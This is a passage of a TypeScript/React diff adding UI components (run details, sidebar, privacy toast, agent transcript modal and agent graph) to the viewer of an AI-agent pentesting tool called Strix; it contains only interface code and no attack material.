if (seconds == null || seconds < 0) return "n/a";
const h = Math.floor(seconds / 3600);
const m = Math.floor((seconds % 3600) / 60);
const s = seconds % 60;
if (h) return `${h}h ${m}m ${s}s`;
if (m) return `${m}m ${s}s`;
return `${s}s`;
}
function Field({ label, children }: { label: string; children: React.ReactNode }) {
return (
<div className="grid grid-cols-[7rem_1fr] gap-3 items-baseline">
<dt className="text-[11px] uppercase tracking-wide text-[#666]">{label}</dt>
<dd className="min-w-0 break-words text-sm text-[#ddd]">{children}</dd>
</div>
);
}
export function RunDetails({
raw,
durationSeconds,
}: {
raw: Rec;
durationSeconds: number | null;
}) {
const [open, setOpen] = useState(true);
// Configuration (launch inputs)
const targets = arr(raw.targets_info).map((t) => {
const o = rec(t);
const display = str(o.original) ?? str(rec(o.details).target_url) ?? "unknown target";
const type = str(o.type);
return { display, type: type ? humanize(type) : null };
});
const instruction = str(raw.instruction);
const scanMode = cap(str(raw.scan_mode));
const scopeMode = str(raw.scope_mode);
const diff = rec(raw.diff_scope);
const diffActive = diff.active === true;
const diffMode = str(diff.mode);
const diffBase = str(raw.diff_base);
const nonInteractive = raw.non_interactive === true;
const localSources = arr(raw.local_sources).map((x) => String(x)).filter(Boolean);
const status = cap(str(raw.status));
let scope = scopeMode ?? "auto";
if (diffActive) {
scope += ` (diff${diffMode ? `: ${diffMode}` : ""}${diffBase ? ` vs ${diffBase}` : ""})`;
}
// Usage & cost
const usage = rec(raw.llm_usage);
const hasUsage = Object.keys(usage).length > 0;
const agents = arr(usage.agents).map(rec);
const models = Array.from(
new Set(agents.map((a) => str(a.model)).filter((m): m is string => !!m))
);
const requests = num(usage.requests);
const inputTokens = num(usage.input_tokens);
const cached = num(rec(arr(usage.input_tokens_details)[0]).cached_tokens);
const outputTokens = num(usage.output_tokens);
const reasoning = num(rec(arr(usage.output_tokens_details)[0]).reasoning_tokens);
const totalTokens = num(usage.total_tokens);
const cost = num(usage.cost);
const sub = (n: number, word: string) => (
<span className="text-[#666]"> ({formatNumber(n)} {word})</span>
);
return (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<button
type="button"
onClick={() => setOpen((v) => !v)}
aria-expanded={open}
className="flex w-full cursor-pointer items-center gap-2 text-left"
>
<Info className="h-4 w-4 text-[#888]" aria-hidden="true" />
<h2 className="text-sm font-semibold text-white">Run details</h2>
{open ? (
<ChevronUp className="ml-auto h-4 w-4 text-[#666]" aria-hidden="true" />
) : (
<ChevronDown className="ml-auto h-4 w-4 text-[#666]" aria-hidden="true" />
)}
</button>
{open && (
<div className="mt-4 grid grid-cols-1 gap-x-8 gap-y-6 md:grid-cols-2">
<section>
<h3 className="mb-3 text-[11px] font-semibold uppercase tracking-wide text-[#555]">
Configuration
</h3>
<dl className="space-y-2.5">
{targets.length > 0 && (
<Field label="Targets">
<div className="space-y-1">
{targets.map((t, i) => (
<div key={i} className="flex flex-wrap items-center gap-2">
<span className="font-mono text-[#ddd]">{t.display}</span>
{t.type && (
<span className="rounded-full border border-[#2a2a2a] px-1.5 py-0.5 text-[10px] text-[#888]">
{t.type}
</span>
)}
</div>
))}
</div>
</Field>
)}
<Field label="Instruction">
{instruction ? (
<span className="whitespace-pre-wrap">{instruction}</span>
) : (
<span className="text-[#666]">None</span>
)}
</Field>
{scanMode && <Field label="Scan mode">{scanMode}</Field>}
<Field label="Scope">{scope}</Field>
<Field label="Mode">{nonInteractive ? "Non-interactive" : "Interactive"}</Field>
{localSources.length > 0 && (
<Field label="Local sources">
<div className="space-y-0.5 font-mono text-[#ddd]">
{localSources.map((s, i) => (
<div key={i}>{s}</div>
))}
</div>
</Field>
)}
{status && <Field label="Status">{status}</Field>}
</dl>
</section>
<section>
<h3 className="mb-3 text-[11px] font-semibold uppercase tracking-wide text-[#555]">
Usage &amp; cost
</h3>
{hasUsage ? (
<dl className="space-y-2.5 tabular-nums">
<Field label="Model">{models.length ? models.join(", ") : "n/a"}</Field>
<Field label="Run time">{fmtDuration(durationSeconds)}</Field>
{requests != null && <Field label="Requests">{formatNumber(requests)}</Field>}
{inputTokens != null && (
<Field label="Input tokens">
{formatNumber(inputTokens)}
{cached != null && sub(cached, "cached")}
</Field>
)}
{outputTokens != null && (
<Field label="Output tokens">
{formatNumber(outputTokens)}
{reasoning != null && sub(reasoning, "reasoning")}
</Field>
)}
{totalTokens != null && <Field label="Total tokens">{formatNumber(totalTokens)}</Field>}
{cost != null && <Field label="Cost">${cost.toFixed(2)}</Field>}
{agents.length > 0 && <Field label="Agents">{formatNumber(agents.length)}</Field>}
</dl>
) : (
<p className="text-sm text-[#666]">Not available yet.</p>
)}
</section>
</div>
)}
</div>
);
}
export default RunDetails;
@@ -0,0 +1,289 @@
import React, { useEffect, useState } from "react";
import {
FileText,
Bug,
Waypoints,
History,
Mail,
ArrowUpRight,
LogOut,
ShieldCheck,
PanelLeftClose,
PanelLeft,
} from "lucide-react";
import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta";
import { ProNavItem } from "@/components/ProCta";
import { FEATURES, PLATFORM_ORDER } from "@/lib/pro-features";
import type { View } from "@/App";
/**
* Persistent left rail. A single, ungrouped, ordered list of uniform two-line
* rows (icon + label + short one-liner): the current run's views, the local
* run-history + email-report actions, then the platform features. No section
* headers. Tier is shown only by the inline Pro/Enterprise tag on platform
* rows. Matches App.tsx's dark palette.
*
* Can collapse to a narrow icon-only rail; the collapsed state persists in
* localStorage and each icon row keeps a `title` tooltip so the labels stay
* discoverable.
*/
const COLLAPSE_KEY = "strix_viewer_sidebar_collapsed";
interface SidebarProps {
view: View;
onSelectView: (view: View) => void;
activeFeature: string | null;
onSelectFeature: (slug: string) => void;
issuesCount: number;
agentCount: number;
runCount: number;
finished: boolean;
verified: boolean;
email: string | null;
onOpenEmail: () => void;
onOpenHistory: () => void;
onForget: () => void;
}
export default function Sidebar({
view,
onSelectView,
activeFeature,
onSelectFeature,
issuesCount,
agentCount,
runCount,
finished,
verified,
email,
onOpenEmail,
onOpenHistory,
onForget,
}: SidebarProps) {
const [collapsed, setCollapsed] = useState(false);
useEffect(() => {
try {
setCollapsed(localStorage.getItem(COLLAPSE_KEY) === "1");
} catch {
/* localStorage may be unavailable; default to expanded */
}
}, []);
const toggleCollapsed = () => {
setCollapsed((prev) => {
const next = !prev;
try {
localStorage.setItem(COLLAPSE_KEY, next ? "1" : "0");
} catch {
/* best-effort persistence */
}
return next;
});
};
return (
<aside
className={`hidden flex-shrink-0 border-r border-[#222] lg:block ${collapsed ? "w-14" : "w-72"}`}
>
<div className="sticky top-0 flex h-screen flex-col overflow-y-auto px-3 py-4">
{/* Header: wordmark + Explore full platform + signed-in chip */}
<div className="px-1.5">
<div className={`flex items-center ${collapsed ? "flex-col gap-2" : "justify-between"}`}>
<a
href={ctaUrl("https://app.strix.ai", "logo")}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta("logo", "sidebar")}
className="flex items-center gap-1.5 opacity-90 transition-opacity hover:opacity-100"
title="Open Strix Cloud"
>
<img src="./logo.png" alt="Strix" className="h-8 w-10 object-cover" />
{!collapsed && (
<span className="text-base font-medium tracking-tight text-white">Strix</span>
)}
</a>
<button
onClick={toggleCollapsed}
title={collapsed ? "Expand sidebar" : "Collapse sidebar"}
aria-label={collapsed ? "Expand sidebar" : "Collapse sidebar"}
className="flex-shrink-0 cursor-pointer rounded-md p-1.5 text-[#666] transition-colors hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
>
{collapsed ? (
<PanelLeft className="h-4 w-4" aria-hidden="true" />
) : (
<PanelLeftClose className="h-4 w-4" aria-hidden="true" />
)}
</button>
</div>
<a
href={ctaUrl(SIGNUP_URL, "sidebar_start_free")}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta("sidebar_start_free", "sidebar")}
title="Explore full platform"
className={`mt-3 flex w-full cursor-pointer items-center justify-center gap-1.5 rounded-lg bg-white font-semibold text-black transition-opacity hover:opacity-90 ${
collapsed ? "px-0 py-2" : "px-3 py-2 text-sm"
}`}
>
{!collapsed && "Explore full platform"}
<ArrowUpRight className="h-3.5 w-3.5" aria-hidden="true" />
</a>
{verified && email && (
collapsed ? (
<div
className="mt-2.5 flex items-center justify-center rounded-lg py-2"
style={{ border: "1px solid #222", background: "rgba(255,255,255,0.02)" }}
title={`Linked email: ${email}`}
>
<ShieldCheck className="h-3.5 w-3.5 flex-shrink-0 text-emerald-400" aria-hidden="true" />
</div>
) : (
<div
className="mt-2.5 flex items-center gap-2 rounded-lg px-2.5 py-2"
style={{ border: "1px solid #222", background: "rgba(255,255,255,0.02)" }}
>
<ShieldCheck className="h-3.5 w-3.5 flex-shrink-0 text-emerald-400" aria-hidden="true" />
<div className="min-w-0 flex-1">
<p className="truncate text-[11px] text-[#666]">Linked email</p>
<p className="truncate text-xs text-[#aaa]" title={email}>{email}</p>
</div>
<button
onClick={onForget}
title="Forget this email on this machine"
className="flex-shrink-0 cursor-pointer text-[#666] transition-colors hover:text-white"
aria-label="Forget"
>
<LogOut className="h-3.5 w-3.5" />
</button>
</div>
)
)}
</div>
{/* One single ordered list, no section headers. */}
<div className="mt-6 space-y-0.5">
<NavItem
icon={FileText}
label="Overview"
desc="This run's executive report"
active={view === "overview"}
onClick={() => onSelectView("overview")}
collapsed={collapsed}
/>
<NavItem
icon={Bug}
label="Issues"
desc="Findings from this run"
count={issuesCount > 0 ? issuesCount : undefined}
active={view === "issues"}
onClick={() => onSelectView("issues")}
collapsed={collapsed}
/>
{agentCount > 0 && (
<NavItem
icon={Waypoints}
label="Agents"
desc="What each agent did"
count={agentCount}
active={view === "agents"}
onClick={() => onSelectView("agents")}
collapsed={collapsed}
/>
)}
<NavItem
icon={History}
label="Past runs"
desc="Every run on this machine"
count={runCount > 0 ? runCount : undefined}
active={view === "history"}
onClick={onOpenHistory}
collapsed={collapsed}
/>
{/* Emailing a report only makes sense once the run is complete; a
live scan would send a partial report, so hide it until finished. */}
{finished && (
<NavItem
icon={Mail}
label="Email report"
desc="Get an encrypted PDF by email"
active={view === "email"}
onClick={onOpenEmail}
collapsed={collapsed}
/>
)}
{PLATFORM_ORDER.map((slug) => {
const feature = FEATURES[slug];
if (!feature) return null;
return (
<ProNavItem
key={slug}
feature={feature}
active={view === "feature" && activeFeature === slug}
onClick={() => onSelectFeature(slug)}
collapsed={collapsed}
/>
);
})}
</div>
</div>
</aside>
);
}
function NavItem({
icon: Icon,
label,
desc,
count,
active,
onClick,
collapsed = false,
}: {
icon: React.ElementType;
label: string;
desc: string;
count?: number;
active?: boolean;
onClick: () => void;
collapsed?: boolean;
}) {
if (collapsed) {
return (
<button
onClick={onClick}
title={count != null ? `${label} (${count})` : label}
className={`flex w-full cursor-pointer items-center justify-center rounded-md px-2.5 py-2 transition-colors ${
active
? "text-white"
: "text-[#888] hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
}`}
style={active ? { background: "rgba(255,255,255,0.12)" } : undefined}
>
<Icon className="h-4 w-4 flex-shrink-0" aria-hidden="true" />
</button>
);
}
return (
<button
onClick={onClick}
className={`flex w-full cursor-pointer items-start gap-2.5 rounded-md px-2.5 py-1.5 text-left transition-colors ${
active
? "text-white"
: "text-[#888] hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
}`}
style={active ? { background: "rgba(255,255,255,0.12)" } : undefined}
>
<Icon className="mt-0.5 h-4 w-4 flex-shrink-0" aria-hidden="true" />
<span className="min-w-0 flex-1">
<span className="flex items-center gap-1.5">
<span className="flex-1 truncate text-sm">{label}</span>
{count != null && <span className="text-xs text-[#666] tabular-nums">{count}</span>}
</span>
<span className="mt-0.5 block text-[11px] leading-snug text-[#666]">{desc}</span>
</span>
</button>
);
}
@@ -0,0 +1,51 @@
import { useState } from "react";
import { ShieldCheck, X } from "lucide-react";
const DISMISS_KEY = "strix_viewer_trust_dismissed";
/**
* One-time privacy notice, shown as a toast pinned over the sidebar. Dismissing
* it persists to localStorage so it never returns on reload or view changes.
*/
export function TrustToast({ message }: { message: string }) {
const [dismissed, setDismissed] = useState<boolean>(() => {
try {
return localStorage.getItem(DISMISS_KEY) === "1";
} catch {
return false;
}
});
if (dismissed) return null;
const dismiss = () => {
try {
localStorage.setItem(DISMISS_KEY, "1");
} catch {
/* non-fatal: worst case the toast shows again next session */
}
setDismissed(true);
};
return (
<div
className="fixed bottom-3 left-3 z-[60] max-w-xs rounded-lg bg-[#0a0a0a] p-3 shadow-2xl"
style={{ border: "1px solid #2a2a2a" }}
role="status"
>
<div className="flex gap-2.5">
<ShieldCheck className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
<p className="text-xs leading-relaxed text-[#aaa]">{message}</p>
<button
onClick={dismiss}
aria-label="Dismiss"
className="-mr-0.5 -mt-0.5 flex-shrink-0 cursor-pointer rounded p-0.5 text-[#666] transition-colors hover:text-white"
>
<X className="h-3.5 w-3.5" />
</button>
</div>
</div>
);
}
export default TrustToast;
@@ -0,0 +1,117 @@
import { useCallback, useEffect, useRef } from "react";
import { X } from "lucide-react";
import { AgentTranscript } from "./AgentTranscript";
import { ScanPromptComposer } from "./ScanPromptComposer";
import type { TranscriptAgent, TranscriptEvent } from "@/data/serverSource";
/** Status -> the small leading dot color, matching the graph node styling. */
const STATUS_DOT: Record<string, string> = {
completed: "bg-emerald-400",
running: "bg-blue-400",
waiting: "bg-yellow-400",
stopped: "bg-[#888]",
crashed: "bg-red-400",
failed: "bg-red-400",
};
/** Consider the user "at the bottom" within this many px. */
const NEAR_BOTTOM_PX = 80;
/**
* Overlay modal showing a single agent's full transcript. Matches the cloud
* app: a fixed-size panel with a pinned header (status dot + agent name), the
* transcript scrolling beneath it, and a footer. Auto-scrolls to follow new
* activity while the user is near the bottom (so a live run trails). Closes on
* backdrop click, the X button, or Escape.
*/
export function AgentDetailModal({
agent,
events,
steerable,
onClose,
}: {
agent: TranscriptAgent;
events: TranscriptEvent[];
steerable: boolean;
onClose: () => void;
}) {
const scrollRef = useRef<HTMLDivElement>(null);
const nearBottom = useRef(false);
const handleScroll = useCallback(() => {
const el = scrollRef.current;
if (!el) return;
nearBottom.current = el.scrollHeight - el.scrollTop - el.clientHeight < NEAR_BOTTOM_PX;
}, []);
// Follow new activity when the user is near the bottom (live trailing).
useEffect(() => {
const el = scrollRef.current;
if (!el || !nearBottom.current) return;
requestAnimationFrame(() => {
el.scrollTo({ top: el.scrollHeight, behavior: "smooth" });
});
}, [events]);
useEffect(() => {
const onKey = (e: KeyboardEvent) => {
if (e.key === "Escape") onClose();
};
document.addEventListener("keydown", onKey);
const prevOverflow = document.body.style.overflow;
document.body.style.overflow = "hidden";
return () => {
document.removeEventListener("keydown", onKey);
document.body.style.overflow = prevOverflow;
};
}, [onClose]);
return (
<div
className="fixed inset-0 z-50 flex items-center justify-center bg-black/70 p-4 sm:p-8"
onClick={onClose}
role="dialog"
aria-modal="true"
aria-label={`Agent ${agent.name}`}
>
<div
className="relative flex h-[80vh] w-full max-w-5xl flex-col rounded-xl border border-[#222] bg-[#0a0a0a] shadow-2xl"
onClick={(e) => e.stopPropagation()}
>
<div className="flex items-center justify-between gap-3 border-b border-[#222] px-5 py-3.5">
<div className="flex min-w-0 items-center gap-2">
<span
className={`h-2 w-2 flex-shrink-0 rounded-full ${STATUS_DOT[agent.status] ?? "bg-[#888]"}`}
/>
<span className="truncate text-sm font-semibold text-white">{agent.name}</span>
<span className="flex-shrink-0 font-mono text-xs text-[#555]">{agent.id}</span>
</div>
<button
type="button"
onClick={onClose}
aria-label="Close"
className="flex-shrink-0 rounded-md p-1 text-[#888] transition-colors hover:bg-[#1a1a1a] hover:text-white"
>
<X className="h-4 w-4" />
</button>
</div>
<div ref={scrollRef} onScroll={handleScroll} className="flex-1 overflow-y-auto p-5">
<AgentTranscript agent={agent} events={events} showHeader={false} />
</div>
{steerable && (
<div className="border-t border-[#222] px-5 py-3">
<ScanPromptComposer
agents={[agent]}
fixedAgentId={agent.id}
className="mt-0"
/>
</div>
)}
</div>
</div>
);
}
export default AgentDetailModal;
@@ -0,0 +1,254 @@
"use client";
import { useCallback, useEffect, useRef, useState } from "react";
import {
ReactFlow,
Background,
Controls,
MiniMap,
useNodesState,
useEdgesState,
useReactFlow,
type Node,
type Edge,
} from "@xyflow/react";
import dagre from "@dagrejs/dagre";
import AgentNodeComponent from "./AgentNode";
import GraphSkeleton from "./GraphSkeleton";
import type { AgentNode } from "@/types/events";
import "@xyflow/react/dist/style.css";
const NODE_WIDTH = 260;
const NODE_HEIGHT = 80;
const nodeTypes = { agentNode: AgentNodeComponent };
function getLayoutedElements(
agents: Map<string, AgentNode>,
selectedAgentId: string | null
) {
const g = new dagre.graphlib.Graph();
g.setDefaultEdgeLabel(() => ({}));
g.setGraph({ rankdir: "TB", nodesep: 60, ranksep: 80 });
const nodes: Node[] = [];
const edges: Edge[] = [];
for (const [id, agent] of agents) {
g.setNode(id, { width: NODE_WIDTH, height: NODE_HEIGHT });
nodes.push({
id,
type: "agentNode",
position: { x: 0, y: 0 },
data: { ...agent, isSelected: id === selectedAgentId },
});
if (agent.parentId && agents.has(agent.parentId)) {
const edgeId = `${agent.parentId}->${id}`;
g.setEdge(agent.parentId, id);
edges.push({
id: edgeId,
source: agent.parentId,
target: id,
style: { stroke: "#2a2a2a", strokeWidth: 1.5 },
});
}
}
dagre.layout(g);
for (const node of nodes) {
const pos = g.node(node.id);
if (pos) {
node.position = {
x: pos.x - NODE_WIDTH / 2,
y: pos.y - NODE_HEIGHT / 2,
};
}
}
return { nodes, edges };
}
const ZOOM_DURATION = 300;
/** Centers viewport on the root node (no parentId) at a fixed zoom — only once on first load */
function CenterOnRoot({ nodes }: { nodes: Node[] }) {
const { setCenter } = useReactFlow();
const hasCentered = useRef(false);
useEffect(() => {
if (nodes.length > 0 && !hasCentered.current) {
const root = nodes.find((n) => !(n.data as Record<string, unknown>).parentId);
const target = root ?? nodes[0];
hasCentered.current = true;
const cx = target.position.x + NODE_WIDTH / 2;
const cy = target.position.y + NODE_HEIGHT / 2;
setTimeout(() => setCenter(cx, cy, { zoom: 0.85, duration: 400 }), 60);
}
}, [nodes, setCenter]);
return null;
}
function SmoothControls() {
const { zoomIn, zoomOut, fitView } = useReactFlow();
return (
<Controls
position="bottom-right"
showZoom={false}
showFitView={false}
showInteractive={false}
className="!bg-transparent !border-none !shadow-none"
>
<div className="flex flex-col overflow-hidden rounded-lg border border-[#222]">
<button onClick={() => zoomIn({ duration: ZOOM_DURATION })} className="flex items-center justify-center w-7 h-7 bg-[#111] text-white hover:bg-[#2a2a2a] transition-colors" title="Zoom in">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth={2} className="w-3.5 h-3.5"><path d="M12 5v14M5 12h14" /></svg>
</button>
<button onClick={() => zoomOut({ duration: ZOOM_DURATION })} className="flex items-center justify-center w-7 h-7 bg-[#111] text-white hover:bg-[#2a2a2a] border-y border-[#222] transition-colors" title="Zoom out">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth={2} className="w-3.5 h-3.5"><path d="M5 12h14" /></svg>
</button>
<button onClick={() => fitView({ padding: 0.3, duration: ZOOM_DURATION })} className="flex items-center justify-center w-7 h-7 bg-[#111] text-white hover:bg-[#2a2a2a] transition-colors" title="Fit view">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth={2} className="w-3.5 h-3.5"><path d="M15 3h6v6M9 21H3v-6M21 3l-7 7M3 21l7-7" /></svg>
</button>
</div>
</Controls>
);
}
interface AgentGraphProps {
agents: Map<string, AgentNode>;
selectedAgentId: string | null;
onSelectAgent: (id: string | null) => void;
eventsLoaded?: boolean;
eventsEmpty?: boolean;
scanCompleted?: boolean;
}
export default function AgentGraph({
agents,
selectedAgentId,
onSelectAgent,
eventsLoaded,
eventsEmpty,
scanCompleted,
}: AgentGraphProps) {
const [nodes, setNodes, onNodesChange] = useNodesState<Node>([]);
const [edges, setEdges, onEdgesChange] = useEdgesState<Edge>([]);
useEffect(() => {
if (agents.size === 0) return;
const { nodes: ln, edges: le } = getLayoutedElements(agents, selectedAgentId);
setNodes(ln);
setEdges(le);
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [agents.size, setNodes, setEdges]);
// Sync agent data (status, name, etc.) into existing nodes without re-layout
useEffect(() => {
if (agents.size === 0) return;
setNodes((nds) =>
nds.map((n) => {
const agent = agents.get(n.id);
if (!agent) return n;
return { ...n, data: { ...agent, isSelected: n.id === selectedAgentId } };
})
);
}, [agents, selectedAgentId, setNodes]);
const nodeClickedRef = useRef(false);
const onNodeClick = useCallback(
(_: React.MouseEvent, node: Node) => {
nodeClickedRef.current = true;
onSelectAgent(node.id);
},
[onSelectAgent]
);
const onPaneClick = useCallback(() => {
if (nodeClickedRef.current) {
nodeClickedRef.current = false;
return;
}
onSelectAgent(null);
}, [onSelectAgent]);
// Convex responded, zero events — show empty state (not skeleton)
if (agents.size === 0 && eventsLoaded && eventsEmpty) {
return (
<div className="flex flex-col items-center justify-center h-full text-center px-4">
<div className="w-10 h-10 mb-3 rounded-full bg-[#111] flex items-center justify-center">
{scanCompleted ? (
<svg className="w-5 h-5 text-[#444]" fill="none" viewBox="0 0 24 24" stroke="currentColor" strokeWidth={1.5}>
<path strokeLinecap="round" strokeLinejoin="round" d="M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z" />
</svg>
) : (
<div className="w-2 h-2 rounded-full bg-blue-500 animate-pulse" />
)}
</div>
<p className="text-sm text-[#555]">
{scanCompleted
? "Agent trace data is not available for this pentest"
: "Waiting for agent data\u2026"}
</p>
</div>
);
}
const showGraph = agents.size > 0;
return (
<div className="relative h-full">
{/* Skeleton overlay — fades out when graph is ready */}
<div
className={`absolute inset-0 z-10 transition-opacity duration-500 ${
showGraph ? "opacity-0 pointer-events-none" : "opacity-100"
}`}
>
<GraphSkeleton />
</div>
{/* Graph — fades in */}
<div
className={`h-full transition-opacity duration-500 ${
showGraph ? "opacity-100" : "opacity-0"
}`}
>
<ReactFlow
nodes={nodes}
edges={edges}
onNodesChange={onNodesChange}
onEdgesChange={onEdgesChange}
onNodeClick={onNodeClick}
onPaneClick={onPaneClick}
nodeTypes={nodeTypes}
nodesConnectable={false}
edgesFocusable={false}
edgesReconnectable={false}
minZoom={0.15}
maxZoom={1.5}
proOptions={{ hideAttribution: true }}
className="bg-black"
>
<Background color="#111" gap={20} />
<CenterOnRoot nodes={nodes} />
<SmoothControls />
<MiniMap
position="bottom-left"
nodeColor={(n) => {
const status = (n.data as Record<string, unknown>)?.status as string;
if (status === "running") return "#3b82f6";
if (status === "completed") return "#10b981";
if (status === "failed" || status === "error") return "#ef4444";
return "#555";
}}
maskColor="rgba(0,0,0,0.8)"
style={{ width: 80, height: 50 }}
className="!bg-[#0a0a0a] !border-[#222]"
/>
</ReactFlow>
</div>
</div>
);
}
@@ -0,0 +1,48 @@
"use client";
import { memo } from "react";
import { Handle, Position, type NodeProps } from "@xyflow/react";
import type { AgentNode as AgentNodeData } from "@/types/events";
const STATUS_STYLES: Record<string, string> = {
running: "bg-blue-500",
completed: "bg-emerald-500",
failed: "bg-red-500",
error: "bg-red-500",
};
function AgentNodeComponent({ data, selected }: NodeProps) {
const agent = data as unknown as AgentNodeData & { isSelected: boolean };
return (
<div
className={`w-[260px] rounded-lg border px-4 py-3 transition-colors ${
agent.isSelected || selected
? "border-white/30 bg-[#0a0a0a]"
: "border-[#222] bg-black hover:border-[#333]"
}`}
>
<Handle type="target" position={Position.Top} isConnectable={false} className={`!w-1.5 !h-1.5 !border-0 ${agent.parentId ? "!bg-[#444]" : "!bg-transparent"}`} />
<div className="flex items-center gap-2">
<span className="relative flex h-2 w-2 shrink-0">
<span
className={`absolute inline-flex h-full w-full rounded-full opacity-75 ${STATUS_STYLES[agent.status] ?? "bg-gray-500"} ${
agent.status === "running" ? "animate-ping" : ""
}`}
/>
<span
className={`relative inline-flex h-2 w-2 rounded-full ${STATUS_STYLES[agent.status] ?? "bg-gray-500"}`}
/>
</span>
<span className="text-sm font-semibold text-white leading-snug line-clamp-3">
{agent.name}
</span>
</div>
<Handle type="source" position={Position.Bottom} isConnectable={false} className={`!w-1.5 !h-1.5 !border-0 ${agent.children && agent.children.length > 0 ? "!bg-[#444]" : "!bg-transparent"}`} />
</div>
);
}
export default memo(AgentNodeComponent);
@@ -0,0 +1,302 @@
import { Component, useMemo, type ReactNode } from "react";
import { Brain, Bot } from "lucide-react";
import { getToolRenderer, getToolIcon } from "./tool-renderers";
import ChatBubble from "./tool-renderers/ChatBubble";
import type { ToolRendererProps, AgentNode as GraphAgentNode } from "@/types/events";
import type { TranscriptAgent, TranscriptEvent } from "@/data/serverSource";
/* ---------- Error boundary so one bad event never blanks the transcript ---------- */
class RendererErrorBoundary extends Component<
{ toolName: string; children: ReactNode },
{ hasError: boolean }
> {
constructor(props: { toolName: string; children: ReactNode }) {
super(props);
this.state = { hasError: false };
}
static getDerivedStateFromError() {
return { hasError: true };
}
render() {
if (this.state.hasError) {
return (
<span className="text-[#555] font-semibold text-sm">
{this.props.toolName.replace(/_/g, " ")}
</span>
);
}
return this.props.children;
}
}
function SafeToolRenderer(props: ToolRendererProps) {
const Renderer = getToolRenderer(props.toolName);
return (
<RendererErrorBoundary toolName={props.toolName}>
<Renderer {...props} />
</RendererErrorBoundary>
);
}
/* ---------- Value coercion ----------
* args/result arrive as either a JSON object or a Python-repr string
* ("{'thought': '...'}"). Try JSON, then a naive python->json pass, then wrap
* the raw string so the fallback renderer can display it. Never throws. */
function coerce(value: unknown): unknown {
if (value == null || typeof value !== "string") return value;
const t = value.trim();
if (!t) return value;
try {
return JSON.parse(t);
} catch {
/* not JSON */
}
try {
const jsonish = t
.replace(/\bNone\b/g, "null")
.replace(/\bTrue\b/g, "true")
.replace(/\bFalse\b/g, "false")
.replace(/'/g, '"');
return JSON.parse(jsonish);
} catch {
return { __raw: value };
}
}
function asRecord(value: unknown): Record<string, unknown> {
const c = coerce(value);
if (c && typeof c === "object" && !Array.isArray(c)) return c as Record<string, unknown>;
if (c == null) return {};
return { __raw: typeof c === "string" ? c : JSON.stringify(c) };
}
/** Numeric suffix of an event id ("tool_37" -> 37) for stable ordering. */
function eventSeq(id: string): number {
const m = /(\d+)$/.exec(id);
return m ? parseInt(m[1], 10) : 0;
}
/** A chat event whose author is the human/user (vs an assistant "thinking"). */
function isUserChat(event: TranscriptEvent): boolean {
const role = event.data?.role;
return event.type === "chat" && (role === "user" || role === "human");
}
/**
* Inter-agent message deliveries land in the recipient's session as user-role
* items prefixed with a header (see the engine's message formatter). They are
* already represented via the sending agent's tool renderer, so we never render
* them as chat bubbles here.
*/
function isInterAgentDelivery(event: TranscriptEvent): boolean {
return isUserChat(event) && String(event.data?.content ?? "").startsWith("[Message from ");
}
/**
* The reconstructed SDK session records every incoming user-role item for an
* agent: its initial input (the root's assembled brief, or a subagent's spawn /
* inherited-context prompt), inter-agent deliveries, AND genuine human steering
* messages sent live from the viewer or TUI. We only want the last group. Given
* an agent's events in order, hide the first user message (its initial input)
* and every inter-agent delivery; keep the rest, which are the human's live
* instructions, rendered as "User" bubbles.
*/
function hiddenUserEventIds(agentEventsInOrder: TranscriptEvent[]): Set<string> {
const hidden = new Set<string>();
let sawInitialInput = false;
for (const e of agentEventsInOrder) {
if (!isUserChat(e)) continue;
if (isInterAgentDelivery(e)) {
hidden.add(e.id);
continue;
}
if (!sawInitialInput) {
sawInitialInput = true;
hidden.add(e.id);
}
}
return hidden;
}
const STATUS_STYLE: Record<string, string> = {
completed: "text-emerald-400 border-emerald-500/30 bg-emerald-500/10",
running: "text-blue-400 border-blue-500/30 bg-blue-500/10",
waiting: "text-yellow-400 border-yellow-500/30 bg-yellow-500/10",
stopped: "text-[#aaa] border-[#333] bg-[#1a1a1a]",
crashed: "text-red-400 border-red-500/30 bg-red-500/10",
failed: "text-red-400 border-red-500/30 bg-red-500/10",
};
/** Map our engine agent statuses onto the graph node's status union. */
function graphStatus(status: string): GraphAgentNode["status"] {
if (status === "completed") return "completed";
if (status === "running") return "running";
if (status === "failed" || status === "crashed") return "failed";
// waiting / stopped / unknown → keep the raw string; AgentNode/MiniMap fall
// back to a neutral gray for anything they don't explicitly style.
return status as GraphAgentNode["status"];
}
/**
* Adapt transcript agents + events into the Map<id, AgentNode> that the live
* AgentGraph renders: children from parent_id, tool/message counts by scanning
* events, and a task pulled from the spawning create_agent call where present.
*/
export function buildGraphAgents(
agents: TranscriptAgent[],
events: TranscriptEvent[]
): Map<string, GraphAgentNode> {
const childrenOf = new Map<string, string[]>();
for (const a of agents) {
if (a.parent_id) {
const arr = childrenOf.get(a.parent_id) ?? [];
arr.push(a.id);
childrenOf.set(a.parent_id, arr);
}
}
const toolCount = new Map<string, number>();
const messageCount = new Map<string, number>();
// A create_agent call names the child but not its id, so map spawned tasks by
// agent NAME (best-effort — used only for the graph node subtitle).
